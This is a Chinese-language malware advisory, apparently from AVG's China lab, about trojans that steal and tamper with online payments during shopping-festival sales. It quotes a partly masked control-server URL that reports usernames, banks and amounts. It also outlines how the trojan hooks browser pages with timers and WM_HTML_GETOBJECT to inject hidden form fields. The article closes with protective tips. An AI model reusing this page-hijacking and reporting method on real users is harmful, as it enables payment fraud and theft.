岁末将至,一年一度的促销狂潮也陆续到来,各大网购网站施展浑身解数来吸引客户。据最新数据显示:仅国内著名的网购平台淘宝在12月12日推出的全民疯抢活动,一个小时内,成交额就达到了4.75亿,成交量278万笔。令人眼花缭乱的促销手段吸引来的不仅是诸多的网购达人,更吸引了众多黑客的目光。在最近一段时间内,AVG中国病毒实验室截获大量针对国内各种支付平台的病毒,包括:百联,盛付通,快钱,讯付,易宝,支付宝等。同时针对的范围也有所扩大,除了网购网站之外,一些游戏公司的充值网站也在此类木马的攻击范围之列,如:完美,多玩,4399网络游戏,征途游戏等。此类木马大多是由某种生成器生成,并且木马的作者提供后台的管理系统

  此类病毒的传播手段没有很明显的变化,大多还是利用社会工程学伪装成word文档,图片文件,或者文本文件,诱导用户点击。对于攻击的手段主要有窃取用户的支付账户的密码,修改用户的支付账户。下面让我们来近距离来接触此类木马,揭开它的神秘面纱。

  目前截获的一些样本中大多数具有word文档的图标。这类文件可能是以邮件附件的形式存在,也有可能是卖家发送产品信息。在运行过程中此类木马会首先连接到baidu,以确定当前的网络状况。然后连接到病毒后台的服务器。发出的请求的形式如下:

  http://119.***.***.48:858/Api/163/Post.Php?UserName=aucodehu&Bank=ICBC&Money=88(链接已经处理)

  通过以上用户名以及银行信息,可以进行管理和分赃。随后木马会简单的收集一下系统的信息然后发送到相同的后台系统。

网购“定时炸弹”隐匿待发,AVG升级防护全面抵御 三联

  包括本机的ip,操作系统版本,以及地理位置。

  在进行完以上的准备活动后,此木马就开始监控用户的所浏览的网址,区别于以往的代码注入,或者劫持API之类的手法,此类木马使用了一种更为简便而且行之有效的方法:定时器。而这种手段可能被某些主动防御所忽略。此类木马一般设置了三个或以上的定时器。触发的时间间隔是200毫秒。这个时间间隔足以监控到用户对网站的操作。其中一个定时器,会通过GetCursorPos获得当前鼠标的位置,进而获得当前窗口的句柄。然后通过向Webbrowser控件(窗口类名是"Internet Explorer_Server")发一个WM_HTML_GETOBJECT的消息获得IHTMLDocument对象。获得此对象后,木马作者就可以对该页面进行任何操作:解析该页面元素,窃取自己感兴趣的任何内容,篡改支付信息等等,以下是在病毒中截取到的一个字符串的片段:

  同时也会在页面中添加一些属性为隐藏的标签,这些标签是不会显示在页面中,但是却是真正起作用的部分:

  一旦点击提交,这些页面中隐藏的内容将被提交,用户就会面临着信息失窃,财产损失。同时病毒还设置其它的定时器。用来关闭支付网站对用户环境检查的以及用户支付失败的页面。

  对于此类木马的防范,应该注意以下几点:

  1. 保持杀毒软件的及时更新。

  2. 不打开任何不是自己主动索取的文件。

  3. 检查文件的类型是否和图标以及后缀一致。

  4. 网购时如果发现任何用户支付环境检查的页面被关闭,立即停止支付。

  5. 检查支付页面是否被修改。

  AVG已经可以检测此类病毒,用户们只要不关闭更新,保持病毒库在当前最新状态,就可以有效阻止该木马的侵袭。同时,AVG中国实验室借此提醒广大网友,年底是各种网络病毒爆发的高危期,平时网上冲浪特别是涉及财产交易时一定要谨慎再谨慎。